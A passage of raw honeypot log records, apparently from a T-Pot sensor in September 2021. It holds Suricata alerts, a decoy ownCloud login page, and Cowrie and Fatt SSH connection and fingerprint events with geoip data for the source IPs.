QkJCQlvd25DbG91ZAkJCQkJCQkJPC9oMT4KPC9kaXY+CjxkaXYgaWQ9ImxvZ28tY2xhaW0iIHN0eWxlPSJkaXNwbGF5Om5vbmU7Ij48L2Rpdj4KPC9kaXY+CjwvaGVhZGVyPgo8IS0tW2lmIElFIDhdPjxzdHlsZT5pbnB1dFt0eXBlPSJjaGVja2JveCJde3BhZGRpbmc6MDt9PC9zdHlsZT48IVtlbmRpZl0tLT4KPGZvcm0gbWV0aG9kPSJwb3N0IiBuYW1lPSJsb2dpbiI+CjxmaWVsZHNldD4KPGRpdiBjbGFzcz0iaGlkZGVuIiBpZD0ibWVzc2FnZSI+CjxpbWcgYWx0PSIiIGNsYXNzPSJmbG9hdC1zcGlubmVyIiBzcmM9Ii9jb3JlL2ltZy9sb2FkaW5nLWRhcmsuZ2lmIi8+CjxzcGFuIGlkPSJtZXNzYWdlVGV4dCI+PC9zcGFuPgo8IS0tIHRoZSBmb2xsb3dpbmcgZGl2IGVuc3VyZXMgdGhhdCB0aGUgc3Bpbm5lciBpcyBhbHdheXMgaW5zaWRlIHRoZSAjbWVzc2FnZSBkaXYgLS0+CjxkaXYgc3R5bGU9ImNsZWFyOiBib3RoOyI+PC9kaXY+CjwvZGl2Pgo8cCBjbGFzcz0iZ3JvdXB0b3AiPgo8aW5wdXQgYXV0b2NhcGl0YWxpemU9Im9mZiIgYXV0b2NvbXBsZXRlPSJvbiIgYXV0b2NvcnJlY3Q9Im9mZiIgYXV0b2ZvY3VzPSIiIGlkPSJ1c2VyIiBuYW1lPSJ1c2VyIiBwbGFjZWhvbGRlcj0iVXNlcm5hbWUgb3IgZW1haWwiIHJlcXVpcmVkPSIiIHR5cGU9InRleHQiIHZhbHVlPSIiLz4KPGxhYmVsIGNsYXNzPSJpbmZpZWxkIiBmb3I9InVzZXIiPlVzZXJuYW1lIG9yIGVtYWlsPC9sYWJlbD4KPC9wPgo8cCBjbGFzcz0iZ3JvdXBib3R0b20iPgo8aW5wdXQgYXV0b2NhcGl0YWxpemU9Im9mZiIgYXV0b2NvbXBsZXRlPSJvbiIgYXV0b2NvcnJlY3Q9Im9mZiIgaWQ9InBhc3N3b3JkIiBuYW1lPSJwYXNzd29yZCIgcGxhY2Vob2xkZXI9IlBhc3N3b3JkIiByZXF1aXJlZD0iIiB0eXBlPSJwYXNzd29yZCIgdmFsdWU9IiIvPgo8bGFiZWwgY2xhc3M9ImluZmllbGQiIGZvcj0icGFzc3dvcmQiPlBhc3N3b3JkPC9sYWJlbD4KPGlucHV0IGNsYXNzPSJsb2dpbiBwcmltYXJ5IGljb24tY29uZmlybSIgZGlzYWJsZWQ9ImRpc2FibGVkIiBpZD0ic3VibWl0IiB0aXRsZT0iTG9nIGluIiB0eXBlPSJzdWJtaXQiIHZhbHVlPSIiLz4KPC9wPgo8aW5wdXQgaWQ9InRpbWV6b25lLW9mZnNldCIgbmFtZT0idGltZXpvbmUtb2Zmc2V0IiB0eXBlPSJoaWRkZW4iLz4KPGlucHV0IGlkPSJ0aW1lem9uZSIgbmFtZT0idGltZXpvbmUiIHR5cGU9ImhpZGRlbiI+CjxpbnB1dCBuYW1lPSJyZXF1ZXN0dG9rZW4iIHR5cGU9ImhpZGRlbiIgdmFsdWU9IlpGbzhId0F5UGc4T0hrTUxLQWtaREVrOUN6VTRTbFE1R2p3QUx6eHRHemc9OlZic2plVFhhYnpsM2pjd3Z6UWN0T3MzeENPN2F4VExuT3ZiZVBacjk1b0k9Ii8+CjwvaW5wdXQ+PC9maWVsZHNldD4KPC9mb3JtPgo8ZGl2IGNsYXNzPSJwdXNoIj48L2Rpdj48IS0tIGZvciBzdGlja3kgZm9vdGVyIC0tPgo8L2Rpdj4KPC9kaXY+Cjxmb290ZXIgcm9sZT0iY29udGVudGluZm8iPgo8cCBjbGFzcz0iaW5mbyI+CjxhIGhyZWY9Imh0dHBzOi8vb3duY2xvdWQub3JnIiByZWw9Im5vcmVmZXJyZXIiIHRhcmdldD0iX2JsYW5rIj5vd25DbG91ZDwvYT4g4oCTIEEgc2FmZSBob21lIGZvciBhbGwgeW91ciBkYXRhCQkJPC9wPgo8L2Zvb3Rlcj4KPC9ib2R5Pgo8L2h0bWw+Cg==", "http_response_body_printable": "8\\"/>\\n<title>\\n..ownCloud..</title>\\n<meta content=\\"IE=edge\\" http-equiv=\\"X-UA-Compatible\\"/>\\n<meta content=\\"never\\" name=\\"referrer\\"/>\\n<meta content=\\"width=device-width, minimum-scale=1.0, maximum-scale=1.0\\" name=\\"viewport\\"/>\\n<meta content=\\"app-id=543672169\\" name=\\"apple-itunes-app\\"/>\\n<meta content=\\"#1d2d44\\" name=\\"theme-color\\"/>\\n<link href=\\"/core/img/favicon.ico\\" rel=\\"icon\\"/>\\n<link href=\\"/core/img/favicon-touch.png\\" rel=\\"apple-touch-icon-precomposed\\"/>\\n<link color=\\"#1d2d44\\" href=\\"/core/img/favicon-mask.svg\\" rel=\\"mask-icon\\" sizes=\\"any\\"/>\\n<link href=\\"/core/vendor/select2/select2.css?v=a9e1a600d8a15933c86dcad2284676cf\\" rel=\\"stylesheet\\"/>\\n<link href=\\"/core/css/styles.css?v=a9e1a600d8a15933c86dcad2284676cf\\" rel=\\"stylesheet\\"/>\\n<link href=\\"/core/css/inputs.css?v=a9e1a600d8a15933c86dcad2284676cf\\" rel=\\"stylesheet\\"/>\\n<link href=\\"/core/css/header.css?v=a9e1a600d8a15933c86dcad2284676cf\\" rel=\\"stylesheet\\"/>\\n<link href=\\"/core/css/icons.css?v=a9e1a600d8a15933c86dcad2284676cf\\" rel=\\"stylesheet\\"/>\\n<link href=\\"/core/css/fonts.css?v=a9e1a600d8a15933c86dcad2284676cf\\" rel=\\"stylesheet\\"/>\\n<link href=\\"/core/css/apps.css?v=a9e1a600d8a15933c86dcad2284676cf\\" rel=\\"stylesheet\\"/>\\n<link href=\\"/core/css/global.css?v=a9e1a600d8a15933c86dcad2284676cf\\" rel=\\"stylesheet\\"/>\\n<link href=\\"/core/css/fixes.css?v=a9e1a600d8a15933c86dcad2284676cf\\" rel=\\"stylesheet\\"/>\\n<link href=\\"/core/css/multiselect.css?v=a9e1a600d8a15933c86dcad2284676cf\\" rel=\\"stylesheet\\"/>\\n<link href=\\"/core/css/mobile.css?v=a9e1a600d8a15933c86dcad2284676cf\\" rel=\\"stylesheet\\"/>\\n<link href=\\"/core/vendor/jquery-ui/themes/base/jquery-ui.css?v=a9e1a600d8a15933c86dcad2284676cf\\" rel=\\"stylesheet\\"/>\\n<link href=\\"/core/css/jquery-ui-fixes.css?v=a9e1a600d8a15933c86dcad2284676cf\\" rel=\\"stylesheet\\"/>\\n<link href=\\"/core/css/tooltip.css?v=a9e1a600d8a15933c86dcad2284676cf\\" rel=\\"stylesheet\\"/>\\n<link href=\\"/core/css/share.css?v=a9e1a600d8a15933c86dcad2284676cf\\" rel=\\"stylesheet\\"/>\\n<link href=\\"/apps/files_versions/css/versions.css?v=a9e1a600d8a15933c86dcad2284676cf\\" rel=\\"stylesheet\\"/>\\n<link href=\\"/apps/files_videoplayer/css/style.css?v=a9e1a600d8a15933c86dcad2284676cf\\" rel=\\"stylesheet\\"/>\\n<link href=\\"/apps/firstrunwizard/css/colorbox.css?v=a9e1a600d8a15933c86dcad2284676cf\\" rel=\\"stylesheet\\"/>\\n<link href=\\"/apps/firstrunwizard/css/firstrunwizard.css?v=a9e1a600d8a15933c86dcad2284676cf\\" rel=\\"stylesheet\\"/>\\n<link href=\\"/core/css/jquery.ocdialog.css?v=a9e1a600d8a15933c86dcad2284676cf\\" rel=\\"stylesheet\\"/>\\n<script src=\\"/index.php/core/js/oc.js?v=a9e1a600d8a15933c86dcad2284676cf\\"></script>\\n<script src=\\"/core/vendor/jquery/dist/jquery.min.js?v=a9e1a600d8a15933c86dcad2284676cf\\"></script>\\n<script src=\\"/core/vendor/jquery-migrate/jquery-migrate.min.js?v=a9e1a600d8a15933c86dcad2284676cf\\"></script>\\n<script src=\\"/core/vendor/jquery-ui/ui/jquery-ui.custom.js?v=a9e1a600d8a15933c86dcad2284676cf\\"></script>\\n<script src=\\"/core/vendor/underscore/underscore.js?v=a9e1a600d8a15933c86dcad2284676cf\\"></script>\\n<script src=\\"/core/vendor/moment/min/moment-with-locales.js?v=a9e1a600d8a15933c86dcad2284676cf\\"></script>\\n<script src=\\"/core/vendor/handlebars/handlebars.js?v=a9e1a600d8a15933c86dcad2284676cf\\"></script>\\n<script src=\\"/core/vendor/blueimp-md5/js/md5.js?v=a9e1a600d8a15933c86dcad2284676cf\\"></script>\\n<script src=\\"/core/vendor/bootstrap/js/tooltip.js?v=a9e1a600d8a15933c86dcad2284676cf\\"></script>\\n<script src=\\"/core/vendor/backbone/backbone.js?v=a9e1a600d8a15933c86dcad2284676cf\\"></script>\\n<script src=\\"/core/vendor/es6-promise/dist/es6-promise.js?v=a9e1a600d8a15933c86dcad2284676cf\\"></script>\\n<script src=\\"/core/vendor/davclient.js/lib/client.js?v=a9e1a600d8a15933c86dcad2284676cf\\"></script>\\n<script src=\\"/core/vendor/clipboard/dist/clipboard.js?v=a9e1a600d8a15933c86dcad2284676cf\\"></script>\\n<script src=\\"/core/vendor/bowser/src/bowser.js?v=a9e1a600d8a15933c86dcad2284676cf\\"></script>\\n<script src=\\"/core/js/jquery.ocdialog.js?v=a9e1a600d8a15933c86dcad2284676cf\\"></script>\\n<script src=\\"/core/js/oc-dialogs.js?v=a9e1a600d8a15933c86dcad2284676cf\\"></script>\\n<script src=\\"/core/js/js.js?v=a9e1a600d8a15933c86dcad2284676cf\\"></script>\\n<script src=\\"/core/js/l10n.js?v=a9e1a600d8a15933c86dcad2284676cf\\"></script>\\n<script src=\\"/core/js/octemplate.js?v=a9e1a600d8a15933c86dcad2284676cf\\"></script>\\n<script src=\\"/core/js/eventsource.js?v=a9e1a600d8a15933c86dcad2284676cf\\"></script>\\n<script src=\\"/core/js/config.js?v=a9e1a600d8a15933c86dcad2284676cf\\"></script>\\n<script src=\\"/core/search/js/search.js?v=a9e1a600d8a15933c86dcad2284676cf\\"></script>\\n<script src=\\"/core/js/oc-requesttoken.js?v=a9e1a600d8a15933c86dcad2284676cf\\"></script>\\n<script src=\\"/core/js/apps.js?v=a9e1a600d8a15933c86dcad2284676cf\\"></script>\\n<script src=\\"/core/js/mimetype.js?v=a9e1a600d8a15933c86dcad2284676cf\\"></script>\\n<script src=\\"/core/js/mimetypelist.js?v=a9e1a600d8a15933c86dcad2284676cf\\"></script>\\n<script src=\\"/core/vendor/snapjs/dist/latest/snap.js?v=a9e1a600d8a15933c86dcad2284676cf\\"></script>\\n<script src=\\"/core/vendor/select2/select2.js?v=a9e1a600d8a15933c86dcad2284676cf\\"></script>\\n<script src=\\"/core/js/oc-backbone.js?v=a9e1a600d8a15933c86dcad2284676cf\\"></script>\\n<script src=\\"/core/js/placeholder.js?v=a9e1a600d8a15933c86dcad2284676cf\\"></script>\\n<script src=\\"/core/js/jquery.avatar.js?v=a9e1a600d8a15933c86dcad2284676cf\\"></script>\\n<script src=\\"/core/js/backgroundjobs.js?v=a9e1a600d8a15933c86dcad2284676cf\\"></script>\\n<script src=\\"/core/js/shareconfigmodel.js?v=a9e1a600d8a15933c86dcad2284676cf\\"></script>\\n<script src=\\"/core/js/sharemodel.js?v=a9e1a600d8a15933c86dcad2284676cf\\"></script>\\n<script src=\\"/core/js/sharescollection.js?v=a9e1a600d8a15933c86dcad2284676cf\\"></script>\\n<script src=\\"/core/js/shareitemmodel.js?v=a9e1a600d8a15933c86dcad2284676cf\\"></script>\\n<script src=\\"/core/js/sharedialogresharerinfoview.js?v=a9e1a600d8a15933c86dcad2284676cf\\"></script>\\n<script src=\\"/core/js/sharedialoglinklistview.js?v=a9e1a600d8a15933c86dcad2284676cf\\"></script>\\n<script src=\\"/core/js/sharedialoglinkshareview.js?v=a9e1a600d8a15933c86dcad2284676cf\\"></script>\\n<script src=\\"/core/js/sharedialogmailview.js?v=a9e1a600d8a15933c86dcad2284676cf\\"></script>\\n<script src=\\"/core/js/sharedialoglinksocialview.js?v=a9e1a600d8a15933c86dcad2284676cf\\"></script>\\n<script src=\\"/core/js/sharedialogexpirationview.js?v=a9e1a600d8a15933c86dcad2284676cf\\"></script>\\n<script src=\\"/core/js/sharedialogshareelistview.js?v=a9e1a600d8a15933c86dcad2284676cf\\"></script>\\n<script src=\\"/core/js/sharedialogview.js?v=a9e1a600d8a15933c86dcad2284676cf\\"></script>\\n<script src=\\"/core/js/share.js?v=a9e1a600d8a15933c86dcad2284676cf\\"></script>\\n<script src=\\"/apps/files_videoplayer/js/viewer.js?v=a9e1a600d8a15933c86dcad2284676cf\\"></script>\\n<script src=\\"/apps/firstrunwizard/js/jquery.colorbox.js?v=a9e1a600d8a15933c86dcad2284676cf\\"></script>\\n<script src=\\"/apps/firstrunwizard/js/firstrunwizard.js?v=a9e1a600d8a15933c86dcad2284676cf\\"></script>\\n<script src=\\"/core/js/files/fileinfo.js?v=a9e1a600d8a15933c86dcad2284676cf\\"></script>\\n<script src=\\"/core/js/files/client.js?v=a9e1a600d8a15933c86dcad2284676cf\\"></script>\\n<script src=\\"/core/vendor/jsTimezoneDetect/jstz.js?v=a9e1a600d8a15933c86dcad2284676cf\\"></script>\\n<script src=\\"/core/js/visitortimezone.js?v=a9e1a600d8a15933c86dcad2284676cf\\"></script>\\n<script src=\\"/core/js/lostpassword.js?v=a9e1a600d8a15933c86dcad2284676cf\\"></script>\\n<script src=\\"/core/js/login.js?v=a9e1a600d8a15933c86dcad2284676cf\\"></script>\\n<script src=\\"/core/js/browser-update.js?v=a9e1a600d8a15933c86dcad2284676cf\\"></script>\\n</head>\\n<body id=\\"body-login\\">\\n<noscript>\\n<div id=\\"nojavascript\\">\\n<div>\\n...This application requires JavaScript for correct operation. Please <a href=\\"http://enable-javascript.com/\\" rel=\\"noreferrer\\" target=\\"_blank\\">enable JavaScript</a> and reload the page...</div>\\n</div>\\n</noscript>\\n<div class=\\"wrapper\\">\\n<div class=\\"v-align\\">\\n<header role=\\"banner\\">\\n<div id=\\"header\\">\\n<div class=\\"logo\\">\\n<h1 class=\\"hidden-visually\\">\\n.........ownCloud........</h1>\\n</div>\\n<div id=\\"logo-claim\\" style=\\"display:none;\\"></div>\\n</div>\\n</header>\\n<!--[if IE 8]><style>input[type=\\"checkbox\\"]{padding:0;}</style><![endif]-->\\n<form method=\\"post\\" name=\\"login\\">\\n<fieldset>\\n<div class=\\"hidden\\" id=\\"message\\">\\n<img alt=\\"\\" class=\\"float-spinner\\" src=\\"/core/img/loading-dark.gif\\"/>\\n<span id=\\"messageText\\"></span>\\n<!-- the following div ensures that the spinner is always inside the #message div -->\\n<div style=\\"clear: both;\\"></div>\\n</div>\\n<p class=\\"grouptop\\">\\n<input autocapitalize=\\"off\\" autocomplete=\\"on\\" autocorrect=\\"off\\" autofocus=\\"\\" id=\\"user\\" name=\\"user\\" placeholder=\\"Username or email\\" required=\\"\\" type=\\"text\\" value=\\"\\"/>\\n<label class=\\"infield\\" for=\\"user\\">Username or email</label>\\n</p>\\n<p class=\\"groupbottom\\">\\n<input autocapitalize=\\"off\\" autocomplete=\\"on\\" autocorrect=\\"off\\" id=\\"password\\" name=\\"password\\" placeholder=\\"Password\\" required=\\"\\" type=\\"password\\" value=\\"\\"/>\\n<label class=\\"infield\\" for=\\"password\\">Password</label>\\n<input class=\\"login primary icon-confirm\\" disabled=\\"disabled\\" id=\\"submit\\" title=\\"Log in\\" type=\\"submit\\" value=\\"\\"/>\\n</p>\\n<input id=\\"timezone-offset\\" name=\\"timezone-offset\\" type=\\"hidden\\"/>\\n<input id=\\"timezone\\" name=\\"timezone\\" type=\\"hidden\\">\\n<input name=\\"requesttoken\\" type=\\"hidden\\" value=\\"ZFo8HwAyPg8OHkMLKAkZDEk9CzU4SlQ5GjwALzxtGzg=:VbsjeTXabzl3jcwvzQctOs3xCO7axTLnOvbePZr95oI=\\"/>\\n</input></fieldset>\\n</form>\\n<div class=\\"push\\"></div><!-- for sticky footer -->\\n</div>\\n</div>\\n<footer role=\\"contentinfo\\">\\n<p class=\\"info\\">\\n<a href=\\"https://owncloud.org\\" rel=\\"noreferrer\\" target=\\"_blank\\">ownCloud</a> ... A safe home for all your data...</p>\\n</footer>\\n</body>\\n</html>\\n"}, "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 1, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA HTTP unable to match response to request", "signature_id": 2221010}, "geoip": {}, "proto": "TCP", "tx_id": 1, "src_ip": "192.168.20.116", "stream": 1, "dest_ip": "107.189.14.98", "flow_id": 1573778995262769, "payload": "SFRUUC8xLjEgMjAwIE9LDQpDb250ZW50LVR5cGU6IHRleHQvaHRtbA0KU2V0LUNvb2tpZTogc2Vzc191dWlkPTllZTNkODZmLTAxYjgtNDVmNS04NTIyLWMyZTlmYjU2OGViMw0KQ29udGVudC1MZW5ndGg6IDk2NTINCkRhdGU6IE1vbiwgMjAgU2VwIDIwMjEgMTI6MDk6MjcgR01UDQpTZXJ2ZXI6IFB5dGhvbi8zLjcgYWlvaHR0cC8zLjQuNA0KQ29ubmVjdGlvbjogY2xvc2UNCg0K", "@version": "1", "metadata": {"flowints": {"http.anomaly.count": 1}}, "src_port": 80, "app_proto": "http", "dest_port": 44036, "timestamp": "2021-09-20T12:10:28.000266Z", "@timestamp": "2021-09-20T12:10:28.000Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "HTTP/1.1 200 OK\\r\\nContent-Type: text/html\\r\\nSet-Cookie: sess_uuid=9ee3d86f-01b8-45f5-8522-c2e9fb568eb3\\r\\nContent-Length: 9652\\r\\nDate: Mon, 20 Sep 2021 12:09:27 GMT\\r\\nServer: Python/3.7 aiohttp/3.4.4\\r\\nConnection: close\\r\\n\\r\\n"}}	1	\N	\N	alert	\N	\N
35869	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 15:10:28.887798+03	2021-09-20 15:15:03.82869+03	{"_id": "jgYdA3wBvYTbRNuEYV7S", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "119.29.153.168", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "13674e4b23ac", "@version": "1", "duration": 2.7346601486206055, "timestamp": "2021-09-20T12:10:28.887798Z", "@timestamp": "2021-09-20T12:10:28.887Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	CN
35870	190.201.223.33	109.199.241.180	Cowrie	2021-09-20 15:10:30.170174+03	2021-09-20 15:15:03.82969+03	{"_id": "kQYdA3wBvYTbRNuEZV67", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "190.201.223.33", "asn": 8048, "as_org": "CANTV Servicios, Venezuela", "latitude": 8.0, "location": {"lat": 8.0, "lon": -66.0}, "timezone": "America/Caracas", "longitude": -66.0, "country_name": "Venezuela", "country_code2": "VE", "country_code3": "VE", "continent_code": "SA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "190.201.223.33", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 190.201.223.33:40254 (192.168.176.2:22) [session: 34e821c54e3e]", "session": "34e821c54e3e", "@version": "1", "protocol": "ssh", "src_port": 40254, "dest_port": 22, "timestamp": "2021-09-20T12:10:30.170174Z", "@timestamp": "2021-09-20T12:10:30.170Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	VE
35871	190.201.223.33	109.199.241.180	Suricata	2021-09-20 15:10:30.659088+03	2021-09-20 15:15:03.83069+03	{"_id": "kgYdA3wBvYTbRNuEZl7d", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "190.201.223.33", "asn": 8048, "as_org": "CANTV Servicios, Venezuela", "latitude": 8.0, "location": {"lat": 8.0, "lon": -66.0}, "timezone": "America/Caracas", "longitude": -66.0, "country_name": "Venezuela", "country_code2": "VE", "country_code3": "VE", "continent_code": "SA"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "190.201.223.33", "dest_ip": "192.168.20.116", "flow_id": 842470622725662, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 40254, "dest_port": 22, "timestamp": "2021-09-20T12:10:30.659088Z", "@timestamp": "2021-09-20T12:10:30.659Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	VE
35881	43.240.6.90	109.199.241.180	Cowrie	2021-09-20 15:11:01.283045+03	2021-09-20 15:15:03.844693+03	{"_id": "OwYdA3wBvYTbRNuE3l_l", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "43.240.6.90", "asn": 133676, "as_org": "Precious netcom pvt ltd", "latitude": 28.0381, "location": {"lat": 28.0381, "lon": 79.1267}, "timezone": "Asia/Kolkata", "city_name": "Budaun", "longitude": 79.1267, "postal_code": "243601", "region_code": "UP", "region_name": "Uttar Pradesh", "country_name": "India", "country_code2": "IN", "country_code3": "IN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "43.240.6.90", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 43.240.6.90:53674 (192.168.176.2:22) [session: b87a79bbd243]", "session": "b87a79bbd243", "@version": "1", "protocol": "ssh", "src_port": 53674, "dest_port": 22, "timestamp": "2021-09-20T12:11:01.283045Z", "@timestamp": "2021-09-20T12:11:01.283Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	IN
35872	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:11:00.321247+03	2021-09-20 15:15:03.831691+03	{"_id": "MQYdA3wBvYTbRNuE3V8Y", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "113.87.161.152", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 2321, "timestamp": "2021-09-20T12:11:00.321247", "@timestamp": "2021-09-20T12:11:00.321Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
35873	43.240.6.90	109.199.241.180	Cowrie	2021-09-20 15:11:01.593295+03	2021-09-20 15:15:03.833717+03	{"_id": "OAYdA3wBvYTbRNuE3l_l", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "43.240.6.90", "asn": 133676, "as_org": "Precious netcom pvt ltd", "latitude": 28.0381, "location": {"lat": 28.0381, "lon": 79.1267}, "timezone": "Asia/Kolkata", "city_name": "Budaun", "longitude": 79.1267, "postal_code": "243601", "region_code": "UP", "region_name": "Uttar Pradesh", "country_name": "India", "country_code2": "IN", "country_code3": "IN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "43.240.6.90", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "b87a79bbd243", "@version": "1", "timestamp": "2021-09-20T12:11:01.593295Z", "@timestamp": "2021-09-20T12:11:01.593Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	IN
35874	13.107.18.254	109.199.241.180	Suricata	2021-09-20 15:11:01.263655+03	2021-09-20 15:15:03.835722+03	{"_id": "PgYdA3wBvYTbRNuE4F8G", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:11:01.263655+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 60}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM RST recv but no session", "signature_id": 2210041}, "geoip": {"ip": "13.107.18.254", "asn": 8068, "as_org": "Microsoft Corporation", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "src_ip": "13.107.18.254", "stream": 0, "dest_ip": "192.168.20.147", "flow_id": 1622544060057063, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 443, "dest_port": 62502, "timestamp": "2021-09-20T12:11:01.263655Z", "@timestamp": "2021-09-20T12:11:01.263Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": 